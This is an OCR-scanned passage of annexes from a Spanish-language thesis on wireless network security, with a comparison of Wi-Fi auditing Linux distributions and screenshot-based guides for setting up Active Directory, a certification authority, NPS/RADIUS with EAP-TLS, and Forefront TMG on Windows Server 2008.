cabo comprometida
Se ha encontrado Determinar las causas
una vulnerabilidad de la vulnerabilidad y

Medio en el sistema que proponer soluciones
puede ser explotada |que mejoren la
por un atacante seguridad del sistema

Recomendar

Se ha encontrado procedimientos

una vulnerabilidad administrativos y

Bajo en los politicas que permitan
procedimientos que |evitar los

podria ser explotada. | inconvenientes
encontrados




ANEXO 4

COMPARACION DE SISTEMAS OPERATIVOS PARA AUDITORIA DE REDES INALAMBRICAS

Uso Sistema Base | Entornos Graficos Ventajas Desventajas
- Herramientas  en | - Pocas herramientas y
Orientado a Tl Cois entorno grafico. | opciones avanzadas.
Beini la auditoria L)i/nux Tiny Core Linux (Facilidad de uso) - No recibe
de redes WiFi - Tamafio Reducido | actualizaciones
(50Mb) constantes.
Orientado a - Disponible en espafiol
la auditoria - Gran cantidad de -
- de redes Distribucion KDE herramientas para P ‘Desarroll.o' dgtemdo,
Wifiway e P o . _._ | ultima version liberada
WiFi, Original evaluacion y auditoria
en 2012.
Bluetooth y de
RFID redes inalambricas
- Se requiere de un
Orientado a - Mayor documentacién mayor nivel de
5 sditera y soporte. ' conocimientos para su
Backtrack . Ubuntu KDE, Gnome - Mayor cantidad de | uso.
de seguridad : ~
herramientas para | - En el afio 2013 fue
en general Sl :
auditoria en general reemplazado por Kali
Linux.
- Soporte para una gran | _ Se requiere de un alto
. cantidad de dispositivos | . Ao
Orientado a T S nivel de conocimientos
g la auditoria . KDE, Gnome , Xfce, . en hacking ético vy
Kali Linux " Debian - Soporte para sistemas
de seguridad LXDE desarrollo para
basados en ARM 3
en general aprovechar al maximo

- Admite la
recompilacion del kernel

sus funciones.
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ANEXO 5

5.1 PROCESO DE INSTALACION Y CONFIGURACION DE ACTIVE
DIRECTORY

Abrimos el Server Manager, damos clic derecho en roles y en el
menu desplegable seleccionamos “Add roles”. Se abrira el asistente

para agregar roles.

E Add Roles Wizard x|
L i
H Before You Begin
BEER i Re] “This wizard helps you install roles on this server. You determine which roles to install based on the tasks you
Server Roles want this server to perform, such as sharing documents or hosting a Web site,
Confirmation Before you continue, verify that:
Progress « The Administrator account has a strong password
Resuits « Network settings, such as static IP addresses, are configured
« The latest security updates from Windows Update are installed
If you have to complete any of the preceding steps, cancel the wizard, complete the steps, and then run the
wizard again.
To continue, dick Next.
I Skip this page by default
previous || Mext> | st | Cancel |

-] [l = uizm

Instalacién de Active Directory 1

Damos clic en siguiente y en la lista de roles habilitamos la casilla de
verificacion “Active Directory Domain Services”. Si aun no tenemos
instalado el .NET Framework, se mostrard& un mensaje

advirtiendonos que es requerido para la instalacion del Active
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Directory, elegimos “Add required features” para continuar. Luego clic

en siguiente.

En la siguiente ventana se nos muestra una pequefa descripcion y
recomendaciones del rol que vamos a instalar, solo damos clic en
siguiente. A continuacion se nos pide confirmar lo que se va a
instalar mostrandonos un resumen de lo seleccionado durante todo el

proceso de instalacién, damos clic en instalar.

E Add Roles Wizard ﬂﬂ
& Confirm Installation Selections
Before You Begin
To install the following rales, role services, or features, dick Install.
Server Roles -
(i) 2informational messages below
Active Directory Domain Services =
Confirmation [ E‘ This server might need to be restarted after the installation completes.
Progress ») Active Directory Domain Services
Results (3) After you install the AD DS role, use the Active Directory Domain Services Installation Wizard
" (dcpromo.exe) to make the server a fully functional domain controller.
#) MNET Framework 3.5.1 Features
WNET Framework 3.5.1
Print, e-mail, or save this information
d

<Previous| Next > | Install Cancel | L
S e S J5ls P8 b e

Instalacién de Active Directory 2

Al finalizar la instalacion veremos un informe en donde podremos

verificar que el proceso se llevo a cabo de manera correcta.
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x|

Add Roles Wizard

ﬁ Installation Results
H

Before You Begin
The following roles, role services, or features were installed successfully:
Server Roles
. . 1. 1warning, 1informational messages below
Active Directory Domain Services o

Confirmation i\, Windows automatic updating is not enabled. To ensure that your newly-installed role or feature is
™ automatically updated, turn on Windows Update in Control Panel.

@ Installation succeeded

Progress

* Active Directory Domain Services

The following role services were installed:

Active Directory Domain Controller

(i) Use the Active Directory Domain Services Installation Wizard (dcpromo.exe) to make the server a
fully functional domain controller.

Close this wizard and launch the Active Directory Domain Services Installation Wizard (dcproma.exe).

~) NET Framework 3.5.1 Features @ Installation succeeded

The following features were installed:
NET Framework 3.5.1

Print, e-mail, or save the installation report

= Previous | Next > | Cancel |

o & @ LW =

Instalacién de Active Directory 3

12:14

2 [ oop1/204 2

Con esto hemos completado la instalacién del servicio de directorio,

ahora crearemos un dominio llamado “tesis.com”.

E' Initial Configuration Tasks =1 |
@ Active Directory Domain Services Installation Wizard x|
Fy\ )
. . & Windows Server 2008 2
Welcome to the Active Directory Enterprise
— Domain Services Installation
Wizard =
, Lima, Quite
This wizard helps you install Active Directory Domain
— Services (AD DS) on this server, making the server an
Active Directory domain controller. To continue, click Next ed by DHCF, IPv6 enabled
I” Use advanced mode installation
Leam more about the additional options that are ] " v
available in advanced mode instalation (] vpsatng your Windows sever
ting off
ustomer Experience Improvement Program
Mare about Active Directory Domain Services
W Customizing your ssrver L
ain Services
Bk Next > Cancel |
inistration Tools, .NET Framework 3.5.1
e Features -
I™ Do not show this window at logon Close

A - 09/]021:;5114 =

=R [=

Configuracion de Active Directory 1
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Abrimos una ventana de ejecucion de Windows escribiendo “Run” en
la barra de busqueda del menua de inicio y seleccionando la opcion
entre los resultados de la busqueda o usando la combinacion de
teclas Windows+R. En la ventana de ejecucion escribimos
“‘dcpromo.exe”, con lo que se ejecutara el asistente de instalacion y

configuracion del Active Directory.

EY Initial Configuration Tasks. =18 x|
@] Active Directory Domain Services Installation Wizard x|

Py, .
Name the Forest Root Domain £ & .mﬁ}qgwssewerzm&

“The first domin in the forest i the forest mot domain_ s name is also the name of || |
e the farest. i

Type the fully qualified domain name (FQDN) of the new forest root domain . Lima, Quita

FQDN of the forest root domain ed by DHCP, IPv6 enabled
Ilesis com|

Example: comp.contoso.com
I Updating your Windows server

rting off
ustomer Experience Improvement Program

I costomizing your server -

ain Services

cBack [ Netofn |  Cancd |
nistration Tocls, .MET Framework 3.5.1

Features -

™ Do not show this window at lagon Close

o & & ) GE =l o Wi

Configuracion de Active Directory 2

Damos clic en siguiente, se nos mostrara una advertencia con
respecto a las nuevas configuraciones de seguridad de Windows
Server 2008, damos clic en siguiente. Seleccionamos “Create new

Domain in a new forest” ya que es el primer y unico dominio que
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tendremos en nuestra implementacion. En el siguiente paso se nos
solicitara ingresar el nombre que le queremos dar al dominio,

ingresamos “tesis.com”.

A continuacion en las siguientes 2 ventanas se nos pedira establecer
el Forest Functional Level y el Domain Functional Level, en ambos
casos seleccionamos Windows Server 2008, ya que en nuestro

dominio solo trabajaremos con Windows Server 2008.

Siguiendo con el proceso de instalaciéon, seleccionamos instalar el
servicio de servidor DNS, necesario para el funcionamiento del Active
Directory. Se mostrard una advertencia relacionada con la
infraestructura de DNS, sin embargo, al ser el primer servidor DNS
instalado en nuestra infraestructura no representara un problema
para la instalacion, damos clic en “Yes” para poder continuar con la

instalacion

@ Active Directory Domain Services Installatic |

A delegation for this DNS server cannot be created because the

l . authoritative parent zone cannot be found or it does not run
Windows DNS server. If you are integrating with an existing DNS
infrastructure, you should manually create a delegation to this
DMS server in the parent zone to ensure reliable name resolution
from outside the domain “tesis.com”, Otherwise, no action is
required.

Do you want to continue?

o =]

Configuracion de Active Directory 3
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Luego de dar clic en siguiente se nos solicitara el ingreso de algunas
rutas usadas para almacenar archivos y bases de datos del Active
Directory, dejamos las opciones predeterminadas y damos clic en

siguiente.

En el siguiente paso ingresamos y confirmamos la contrasefia para el
modo de restauracion del Active Directory, damos clic en siguiente.
Se mostrard un resumen de las opciones elegidas durante el proceso
de instalacion, luego de verificar que todo esté de acuerdo a nuestros
requerimientos, damos clic en siguiente para que comience el

proceso de configuracion.

Mientras se ejecuta este proceso podemos seleccionar la casilla de
verificacion “Reboot on completion” para que al finalizar el proceso el
equipo se reinicie automaticamente completando el proceso de
instalacién y configuracion.

Active Directory Domain Services Installation Wiz

The wizard is corfiguring Active Directory Domain Services. This process can take
from a few minutes to several hours, depending on your environment and the options
that you selected.

= 1/

. i

-~

Waiting for DN5 installation to finish

Cancel |

™ Reboot on completion

Configuracion de Active Directory 4
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5.2 PROCESO DE INSTALACION Y CONFIGURACION DE
CERTIFICATION AUTHORITY

Ingresamos al asistente para agregar roles, para esto vamos al

Server Manager, clic derecho en Roles, “Add Roles”.

En la lista de roles seleccionamos “Active Directory Certificate
Services” y damos clic en siguiente, entonces seleccionamos

“Certification Authority” y “Certification Authority Web Enrollment”.

E Add Roles Wizard x| J
= )
! Select Role Services
i H
Befure You Begin Select the role services to install for Active Directory Certificate Services:
Server Roles Role services: Description:

ADCS " i Certification Autharity Web Enrollment
% Certiication Authority provides a simple Web interface that

Certification Authority Web Enrollment |

allows users to perform tasks such as

SetwpTh L] Onine Responder request and renew certificates,
= [ Network Device Enrollment Service retrieve certificate revocation lists

CAType [ certficate Enrollment Web Service (CRLs), and enrol| for smart card
Private Key [ certificate Enrollment Policy Web Service certificates.

Cryptography

CA Name

validity Period
Certificate Database

Web Server (IIS)
Role Services

Confirmation

Progress

Results

More about role services H

L <Prewous| Nex[} I Instal | Cancel | L
v B & [T |5t P B G o,

Instalacion de Certification Authority 1

Se mostrara una ventana indicAndonos que se requieren servicios
adicionales para proceder con la instalacion de los servicios que
hemos elegido, el Web Sever y el Remote Server Administration
Tools. Estos servicios son necesarios para la emision de certificados

via Web. Seleccionamos “Add Require Role Services”.



| add Roles wizard
ES}:‘ Select Role Services
Before You Begin Select the role services to install for Active Directory Certificate Services:
Server Roles Role services: Description:
ADCS Add Roles Wizard il isused to
es.
101 SErV | _ _ _ - - o forma
o Add role services and features required for Certification Authority Web
SepT %Y= Enroliment?
CAType P .
You cannot install Certification Authorty Web Enrollmert unless the required role services and features are also
Private Ke installed
Cryptc Role Services: Description:
= Web Server (IIS) \wleb Server (1IS) provides a reliable,
CANal Web Server _mfanageab\e‘ and scalable \web application
infrastructure.
Validity Managemert Tools
Certificate = Remote Server Administration Tools
_ Role Administration Tools
Confirmation
Progress
Resufts Add Required Role SeMceL; I Cancel |
® Why are these role services and features required? y
%
More about role services
< Previous | Next > I Instsll Cancel |

Instalacién de Certification Authority 2

| ]
e | B & S[H o] F e wim. =

|
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En el siguiente paso elegiremos el tipo de CA (Entidad de

Certificacion) que queremos instalar, elegimos Enterprise, este tipo

de CA usa la informacién del Active Directory para emitir y manejar

los certificados digitales. Luego estableceremos el rol que cumplird el

CA dentro de la infraestructura de clave publica (PKI), en este caso al

ser el unico CA dentro de la infraestructura sera necesariamente

Root CA.
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dd Roles Wizard

ES:? Specify CA Type

Before You Begin A combination of root and subordinate CAs can be configured to create a hierarchical public key infrastructure

(PKI). A root CA is a CA that issues its own self-signed certificate. A subordinate CA receives its certificate
Server Roles from another CA. Specify whether you want to set up a root or subordinate CA.
AD CS

Role Services ' RootCA
Select this option if you are instaling the first or only certfication authority in a public key infrastructure.

" Subordinate CA

Private Key Select this option if your CA will obtain its CA certificate from another CA higher in a public key
Cegmerr infrastructure.
CA Name
Validity Period

Certificate Database
Web Server (IIS)

Role Services
Confirmation

Progress

Results

More about public key infrastructure (PKT)

<Prawou5| NEx[} I Install | Cancel

R

Instalacién de Certification Authority 3

En los siguientes pasos se creard una clave publica para el CA,
seleccionamos “Create a new private key” y a continuacién

seleccionamos las opciones de cifrado que usara el CA para la

emision de certificados.

|8 Add Roles wizard K

ﬁg:,b Configure Cryptography for CA

Before You Begin To create anew private key, you must first select a cryptoaraphic service provider, hash algorithm, and

key length that are appropriate for the intended use of the certificates that you issue. Selecting @ higher
Server Roles value forkey length will result in stranger security, but increase the time needed to complete signing
ADCS operations.

Role Services

Select a cryptographic service provider (CSP): Key character length:
Setup Type =k
[RsA #Microsoft Software Key Storage Provider - -
CAType
T Select the hash algorithm for signing certificates issued by this CA:
. SHA256 -
SHA334
CA Name SHAS12
Vaidity Period i | Ll_l
Certificate Database
Web Server (IIS) ™ Allow administrator interaction when the private key is accessed by the CA.
Role Services
Confirmation
Progress
Resuts

Mare about crvptographic options for a CA

<previous [[_Next> ezl | cancel

| U
ol | B & [T “forme

Instalacién de Certification Authority 4
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Ahora ingresamos el nombre que identificard al CA y que sera
agregado a todos los certificados que emita. Para nuestra

implementacion usaremos el nombre “TESIS-CA”, damos clic en

E Add Roles Wizard ﬂlﬂ
£ i
* Configure CA Name
i 3
Before You Begin Type in a common name to identify this CA. This name is added to all certificates issued by the CA.
Distinguished name suffix values are automatically generated but can be modified.
Server Roles
ADES Common name for this CA:
Role Services [rEstsca
Setup T
BRIES Distinguished name suffix:
ESaE DC=tesis,DC=com
Private Key
Cryptography

Preview of distinguished name:
CM=TESIS-CA,DC=tesis,DC =com

Walidity Period
Certificate Database
Web Server (II5)

Role Services

Confirmation
Progress

Results

More about configuring a CA name H

L < Previous | Next I Tristsl | Cancel | L
- E| | ~ E Ao :
f-St""tlJ ‘dﬂﬂ 7] = | iﬁ J &% [ @ b 09:631.102%14 -

Instalacién de Certification Authority 5

La siguiente ventana nos mostrara el periodo de validez que tendra el
certificado del CA, la dejamos en su valor predeterminado que es 5
afios. Luego, en el ultimo paso de la configuracion para la instalacion
del CA podremos ver y modificar la ruta donde se almacenara la

base de datos y registros del CA.

Al dar clic en siguiente comenzaré el proceso de configuracion para

la instalacion del rol Web server, que se nos solicité instalar para el
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funcionamiento del Certification Authority Web Enrollment. Dejamos

las opciones predeterminadas y damos clic en siguiente.

E Add Roles Wizard

ﬁ%}’ Select Role Services

Before You Begin

Select the role services to install for Web Server (IIS):

More about role services

T EY =]

Server Roles Role services: Description:
ADCS Web Server provides support for
) [ Web Server 2! HTMLWeb sites and optional support
Role Services E |5 Common HTTP Features for ASP.NET, ASP, and Web server
N [¥] static Content extensions. You can use the Web
tp Type [¥] Default Document Server to host an internal or external
CAType [] Directory Browsing Web site or to provide an environment
for developers to create Web-based
[¥] HTTP Errors 3
Private Key applications.
[¥] HTTP Redirection
Cryptography [[] webDAV Publishing
CA Name = [ Application Development
Validity Period L asp.ner
[] .NET Extensibility
Certificate Database [¥] asp
Web Server (IIS) O cat
— [¥] 15API Extensions
iiters
[] ISAPI Filtes
Confirmation [ server Side Indudes
Progress F [ Health and Diagnostics
[¥] HTTP Logging
Restlts [¥] Logging Tools
[¥] Request Mornitor
[¥] Tracina - |

< Previous | Mext I Install

cancel |

1301

|

|srae o, -

Instalacion de Certification Authority 6

Aparecera la ventana de confirmacion en donde podremos comenzar

con el proceso de instalacién dando clic en instalar.

Si no hubo errores en el proceso de instalacion, el servidor estara

listo para funcionar sin requerir de ninguna configuracion adicional.
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5.3 PROCESO DE INSTALACION Y CONFIGURACION DE NETWORK

POLICY SERVER

Abrimos el asistente para agregar roles y en la lista de roles

seleccionamos “Network Policy and Access Services”.

E_ Server Manager
File Action View
e =lE

ia SEWEr Manager (St

Diagnestics
Gifl Configuration
4 storage

Add Roles Wizard

=10

ﬁé Select Server Roles

Before You Begin

Network Policy and Access Services

Role Services

Confirmation
Progress

Results

Select one or more roles to install on this server.

Roles:

Description:

[] Active Directory Certificate Services
[] Active Directory Domain Services
[] Active Directory Federation Services

[ ] Application Server
[] DHCP Server

[] DNS Server

[] Fax Server

] windows Deployment services
[] windows Server Update Services

More shout server roles

[ Active Directory Lightweight Directory Services
[] Active Directory Rights Management Services

Metwork Policy and Actess Services
provides Network Policy Server (NPS),
Routing and Remote Access, Health
Registration Authority (HRA), and
Host Credential Autharization Protocol
(HCAP), which help safeguard the
health and security of your network.

<previous || Next> | sl | concel |

ties
jons
top
ger Remote

tion Wizard

LS EYCR=

Instalacion de Network

N 19:10
‘ Esl A ssf1/ie =

Policy Server 1

En la siguiente pantalla seleccionamos “Network Policy Server” y

continuamos con la instalacion dando clic en siguiente, y luego en

instalar.
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=TE

|
File Action View Help |||
@ [ IH

Import Configuration

SRy
[/ pc_ Export Configuration

B o enservice
Stop NPS Service

ok Policy Server (NPS) allows you to create and enforce organization-wide network access policies for
health, connection request authertication, and connection request authorization

Bl Register serverin Ackve Directory
Properties
Configuration -
View »
= brfiguration scenario from the lit and then cick the link below to open the scenario wizard
elp

Network Access Protection (NAP) =l

Network Access Protection (NAP)

‘When you corfigure NPS as a NAP health palicy server, you create heatth policies that allow NPS to validate the
configlration of NAP-capable client computers befors they connect to your network. Clierts that are not compliant
with health policy can be placed on a restricted network and automatically updated to bring them into compliance

B Configure NAP B Leammore
Advanced Configuration -
Templates Configuration -

‘Reg\ster server in Active Directory ‘

[
od & & 2 HI@ [Frwe 22

Instalacion de Network Policy Server 2

Luego de terminar el proceso, el Network Policy Server estara

instalado y continuaremos con la configuracion.

Abrimos la consola del Network Policy Server y lo primero que
debemos hacer para que esté lista para funcionar en conjunto con el
Active Directory es registrar el servidor en el Active Directory. Esto le
permitira al servidor NPS acceder a las credenciales de las cuentas
de usuario almacenadas en el Active Directory. Para esto damos clic
derecho en la opcién “NPS (Local)” ubicada en el panel izquierdo de
la consola y seleccionamos la opcion “Register server in Active

Directory”.



File Action View Help

%% Network Policy Server

=10jx|

@ |m| =

TR Import Configuration
g Export Configuration

B N ot 4P Servine

B A ork Policy Server {NPS) allows you to create and enforce organization-wide network access policies for
FE Stop NPS Service health. connection request authentication. and connection request authorization.
b Recister server in Active Directory
Properties
Configuration -
View »
el brifiguration scenario from the list and then click the link below to open the scenario wizard
elp

Network Access Protection (NAP) |
Network Access Protection (NAP)
Wihen you corfigure NPS as @ NAP health policy server, you create health policies that allow NFS to validate the

configuration of NAP-capable client computers before they connect to your network. Clients that are not compliant
with health policy can be placed on a restricted network and automatically updated to bring them into compliance

B Corfigure NAP B Leammare

Advanced Configuration

Templates Configuration

Register server in Active Directory

\
o= % & 5 f[@ e
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En el panel “Standard Configuration”, en el menu desplegable,

seleccionamos la opcién “RADIUS Server for Dial-Up or VPN-

Connections” y damos clic en “Configure VPN or Dial-Up”, esto abrira

un asistente que nos guiara en la configuracion del NPS como

servidor RADIUS. Seleccionamos “Virtual Private Network (VPN)

Connections” y escribimos un nombre que sera usado para identificar

a las politicas.



4% Network Policy Server

=1ojx|

Fle Action View Help

NPS (Local)

= Policies

NPS (Local)
RADIUS Clients and Servers

B, Network Access Protection

8. Accounting @ Network Palicy Server (NPS) allows you o create and enforce organization-wide network access policies for
' Templates Management

Getting Started

client health, connection requsst authentication, and connsction request authorization

Standard Configuration

Select a configuration scenario from the list and then click the link below to open the scenario wizard.

RADIUS serverfor Dial-Up or VPN Connections j
RADIUS server for Dial-Up or VPN Connections

When you corfigure NPS as a RADIUS server for Dial-Up or VPN connections, you create network policies that
allow NPS to authenticate and autharize connections from Dial-Up or VPN network access servers (also caled
RADIUS clients).

B Configure VPN or Dial-Up B Leammore

Advanced Configuration

Templates Configuration

l \
o & & ) HIS s

19/01/2014 =
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En el siguiente paso se mostraran los clientes VPN, para agregar uno

nuevo damos clic en “Add”.

File Action View

NP5 (Local)

RADIUS Client

Policies

B, Network Acces
B, Accounting

o} Templates Mar

—

onfigure VPN or Dial-Up

x| =]
! Select Dial-up or Virtual Private Network Connections

Type

Type of connections: =

" Dialup Connections

Ecess policies for
When you deploy Dial-up servers on your network, NPS can autherticate and authorize connection requests.

made by dial-up clients connecting through the servers.

& Vitual Private Network (VPN) Connections

When you deploy VPN servers on your netwark, NPS can authenticate and authorize connection requests

a
mads by VPN clients connecting through the servers
rd
Name:
This default text is used as part of the name for each of the palicies created with this wizard. You can use the
default text or modify it =
[VPN (EAP-TLS)
palicies that
{also called
Erevious: | Next Einish | Cancel |

.
SRR s

19/01/2014
Configuracion de Network Policy Server 3
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Se abrira una ventana en donde podremos usar el nombre de
dominio o la direccion IP para agregar el nuevo cliente, ademas
configuraremos la clave compartida que sera usada para autenticar y

cifrar las comunicaciones entre el servidor y el cliente RADIUS.

= etwork Potey | Contigul v raprs chent x| = TR
File Action View Settings |
Il ™ |
— | ——_ ™| Select an existing template:
@ NPS (Local)
] RADIUS Client | =l
ij ;‘:S:;k Acces RADIU -~ Name and Address fouting
i accortng | | Enendyname cess policies for
My Templates Mz fyouv | [TESISVPN
RADIU | Agdress (IP or DNS):
10101000 i Very | | o
[~ Shared Secret rd
Select an existing Shared Secrets template:
K=
|None =l —I |
To manually type a shared secret, click Manual. To automatically generate a shared
secret, click Generate. You must corfigurs the RADIUS client with the same shared policies that
secret erlered here. Shared secrets are case-sensiive. falso called
& Manual " Generate
Shared secret:
[eeneee
Confim shared secret: -
[sssses
oK Cancel el
E = E I 11:18
ES|[2 [1=
cod | B @ o T[S [l P @

Configuracion de Network Policy Server 4

Aceptamos y damos clic en siguiente. A continuacion seleccionamos
“‘Extensible Authentication Protocol” como método de autenticacion y
en la lista desplegable elegimos “Microsoft: Smart Card or other
certificate”, de esta manera estableceremos la autenticacion como
EAP-TLS. Dando clic en configurar podremos seleccionar el

certificado que usara el servidor para identificarse ante los clientes.



NPS (Local)
=] policies

B, Accounting

5 icbwork pocy o contgure VPt orDiakup x 51

File  Action  View

(= E
STE

%, ntnork Acce: The following protocols are supported by servers unning Microsoft Routing and Remote Access. I you use a

) Templates Mar

Frendly name:
Jesuer TESISCA
Bxpiraion date: 18/01/2015 11:35:41
coms
| Previous Next Finsh | Cancel |

Configure Authentication Methods

different remote access server, make sure the protocols you select are supported by that software. -
coess policies for

¥ Extensible Authertication Protocol

TIype (based on method of access and network i
[icrosoft: Smart Card or other certficate: =] [ Corfigue.. ]

™ Microsoft Encymted Authentication version 2 (MS-CHAPv2)
AR OMPIRENIEI ... Cor o othercertrcate properties x
Thi identifies itself to callers before th ecti leted. Select
[~ Microsch Encympted Authentication (MSCHAP) i server identifies o callers before the connection is compl

the certfficate that you wart it to use as proof of identity.
Select this option only f your network runs operal

Certificate issued to:

o] &

= - L]
Z ugjjll@ JES|2P%@E$"§JM-
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En el siguiente paso agregaremos los grupos de usuarios que

tendran permisos para conectarse a través de la VPN, damos clic en

“Add...” e ingresamos el nombre del grupo que creamos previamente

para este proposito, “WirelessUsersGroup”.

%4 Network Policy 9

File Action View

e[
éNPS(LemI)

| RADIUS Client

'Ej' Policies

B, Network Acce:
B, Accounting

M} Templates Mar

Configure VPN or Dial-Up X =101 ]
Specify User Groups
* Users that are members of the selected group or groups will be allowed or denied access
3 based onthe network policy Access Permission setting. =
To select User Groups, click Add. f no groups are selected. this policy applies to all users

keess policies for

Groups | Add..

]
Remove

Select this object type:

IGmup Object Types...

From this location:

Ite&s.com Locations. pd

Enterthe object name to select

Wireless UsersGroup Check Names

Advanced... Cancel y e
A

Prevous | MNe¢ | Finsn | Cancdl |
——

& 5 dje [o[ P .=

Configuracién de Network Policy Server 6
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El siguiente paso en la configuracion solo es aplicable a una
configuracion con un servidor RRAS, por lo tanto solo damos clic en

siguiente.

File  Action View

= ]
)“1 Specify the allowed encryption strengths used fortraffic between access dlients and the

[@ wstomh) network access server.
“| RADIUS Client
=] Policies §
you are using Routing and Remote Access Service configured as a dial-up or VPN server, you can corfigure
B, network Acces

encryption strength
B, Accounting < cess policies for

l; Templates Mar  The encryption settings are supported by computers running Microsoft Rowting and Remote Access Service

Specify Encryption Settings

i you use diferent network access servers for dial-up or VPN connections, ensure that the encryptions
settings you select are supported by your servers.

If No encryption is the only option selected, traffic from access clients to the network access server is not

secured by encryption. This corfiguration is not recommended rd
™ Basic encryption (MPPE 40-bit) policies that
(also called

I~ Strong encryption (MPPE 56-bit)
¥ Strongest encryption (MPPE 128-bit)

Previous | Next I Einish | Cancel |
,7

= _’7
o % & 3 §[@ ol @0

Configuracion de Network Policy Server 7

Finalmente, configuraremos el nivel de cifrado que se usara entre los
clientes de acceso y los servidores de acceso (Clientes RADIUS),
deseleccionamos los dos primeros y solo dejamos el de 128 bits que

es el mas seguro.

Al final se mostrara un resumen de la configuracién realizada, con lo

gue el proceso de configuracion estara completo. Al volver a la
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ventana principal de la consola del Network Policy Server notaremos
que se han agregado varias configuraciones, bajo “RADIUS Clients”
estara el cliente que hemos agregado, igualmente bajo “Policies”
encontraremos en “Connection Request Policies” y “Network Policies”
las nuevas politicas creadas en donde podremos deshabilitarlas,

modificarlas o eliminarlas.
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5.4 PROCESO DE INSTALACION Y CONFIGURACION DE
INSTALACION Y CONFIGURACION DE FOREFRONT TMG

Si al insertar el disco de instalacion no se ejecuta de manera
automatica, ingresamos al disco a través de un explorador y
ejecutamos la aplicacion “autorun”, se mostrara el menu de opciones

para comenzar con la instalacion.

Primero ejecutaremos la herramienta de preparacion, esta verificara
que los requisitos para la instalacion estén instalados y configurados.
En el asistente aceptamos los términos de la licencia y elegimos el
tipo de instalacion que en nuestro caso es “Forefront TMG services

and Management”.

3|
Microsoft ﬂ
- Forefront
Ty e x
E t Installation Type
nte Select the Forefront TMG installation typs forthe computer
Welcome
@ Forefront TMG services and Management
Forefront TMG services and features will be installed.
The management console will also be installed to manage Forefront TMG computers.
 Forefront TMG Management only
The management console will be installed to remotely manage Forefront TMG computers
 Enterprise Management Server (EMS) for centralized array management
The computer will be used for centralized management of Forefront TMG arrays.
Click Nextto begin preparing the computer.
<Back Next > Carcel | Help |
© 2009 Mis N

e (- = S 1 [ 2) [s[ P B

Instalacién de Forefront TMG 1
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Al finalizar la preparacion, si se ha completado de manera correcta,

se ejecutard el asistente de instalacion del Forefront TGM.

Microsoft Forefront TMG Installation Wizard Lk _-]EL.’S] %

%“ﬂ tion Wizard is i follows:

i Forefront TMG Enterprise Installation Wizard -

Core
B caecoem Welcome to the Installation Wizard for
Forefront TMG Enterprise
Additional Co
System Initia This wizard will install Forefront TMG on your computer.
This i copyright law and
international treaties.

To continue, dick Next.

R EER: B T

Instalacion de Forefront TMG 2

Luego de aceptar los términos del acuerdo de licencia e ingresar la

informacion de registro solicitada seleccionaremos el tipo de

instalacion.

i Forefront TMG Enterprise Installation Wizard x|

Setup Scenarios
Select the Forefront TMG installation type for the computer.

¥ Forefront TMG services and Management
Forefront TMG services and features will be installed. Forefront TMG Management will also
be installed to manage Forefront TMG computers.

" Forefront TMG Management only
The management console will be installed to remotely manage Forefront TMG computers.

(e i Server for array

The computer will be used for centralized management of Forefront TMG arrays.

< Back I NEK_‘;> I Cancel
s

Instalacion de Forefront TMG 3
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En el siguiente paso podremos cambiar la ruta de instalacion,

dejamos la ruta predeterminada y damos clic en siguiente.

A continuacion agregaremos los rangos de direcciones de nuestra
red interna, para esto damos clic en “Add”. La mejor manera de
completar este paso es usar la opcion “Add adapter...”, de esta
manera se agregaran los rangos de red asociados al adaptador que
seleccionemos. Seleccionamos “Local Area Connection”, que es el

adaptador a través de la cual el equipo se conecta con la red interna.

=)
m The Installation Wizard is progressing as follows:
| = .
x
b corecome TR |
Select Network Adapters x|
Additional Co
Select the network adapters assodated with the network you are configuring.
System Initia e
Network adapters:
MName |
Network adapter details:
Name: Intel(R) PRO/1000 MT Desktop Adapter d
IP Addresses: 10.10.10.101
Route Information:
10,10.10.0 - 10.10,10.255
ncel
ange Server
Ik
o
'® 2009 c -
. M ez | 3 || 2 Es| & [ 2138
o] | B £ ﬂy| §ﬁ|m| Is'ﬁ‘? |5t PG .

Instalacion de Forefront TMG 4

Damos clic en siguiente y luego en instalar, con esto el proceso de

instalacion comenzara.
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B Microsoft Forefront TMG Tnstallation Wizard x|

llation Wizard C

The Installation Wizard completed successfully.

¥ Launch Forefront TMG Management when the wizard doses

Click Finish to exit the wizard.

Instalacion de Forefront TMG 5

Al finalizar el proceso, si no se presentaron errores durante la
instalacién, se mostrarda una ventana indicando que la instalacién ha

sido completada con éxito.

Ahora podremos ejecutar el Forefront TGM Manager. La primera vez
gue lo ejecutemos nos mostrara un asistente para configurar

aspectos basicos.

[N Getting Started Wizard x|

Welcome to Forefrant TMG!
To get started, follow the three steps below:

& 0| Confiqure network settinas
E:> ' Define network settings for Forefront TMG, incluing TP
A settings, routing rules, and network relationships.
o

Configure systam settings

Define loeal system settings for Farefront THE,

Cefine deployrment options
Spefy Forefront TG deployment settings such as how Eis
Faorefront TG server receives Microsoft updates,

Help about the Getting Started Wizard

If you need to import Microsoft Internet Security and Acceleration {ISA) Server 2006
i I " configuration settings to this computer, you must do this before you run this wizard.

Configuracion Bésica de Forefront TMG 1
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En el primer punto “Configure Network Settings”, comenzaremos
eligiendo una plantila de red de acuerdo a nuestra topologia,
seleccionamos “Edge Firewall”. Esta topologia ubica al servidor
Forefront TMG entre la red interna y la externa, en donde uno de los

adaptadores de red esta conectado a la red interna y otro a la red

T —— -loix

Fie Acon View el

_“ | Getting Started Wizard B2l

@ |‘ [ 5 = e rr——————————— |

= _M'm’s"ﬁf:"mﬁ"”ﬁ Network Template Selection

a Forefront TMG (¥ Select the network template that best fits your network topology. Enterprise
% Edge firewall VPN Clients Network

° Gleq perimeter
External Network
" Back firewall

" Single network adapter Local Host

Internal Network:

n this topalogy, Forefront TMG (Local Host) is deployed at the edge of the Internal network and has two
etwork adapters. One adapter is connected to the Internal network, either directly or through a router
r another firewall. Another adapter is connected to the External network (the Internet).

<Back | Next% I cancel |
4 |

Done \
= EEEIE] el oo L

Configuracién Béasica del Forefront TMG 2

En el siguiente paso definiremos y configuraremos el adaptador que
esta conectado a nuestra red interna. Seleccionamos “Local Area
Connection” y no hacemos ningun cambio en la configuracion IP. A

continuaciéon haremos lo mismo con el adaptador de la red externa,
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en donde seleccionaremos “Local Area Connection 2” que es la

conexion que corresponde a nuestra red externa.

File Action View Hsln

= |mEE

<

|.=J Microsoft Forefront T
ﬁ Forefront TMG (V

= Forefront TMG

Getting Started - Network Setup Wizard

Internet Settings

Set the Internet settings based on information from your Internet Service Provider (ISP).

=10j x|
wb
x|
Enterprise

MNetwork adapter nected to the Internet:

¢ Obtain an IP address automatically
& Use the following IP address

IP address: lm
e N
Default gateway: lm
DNS server: 192 .188 . 1 . 1

< Back I Mext > ;I

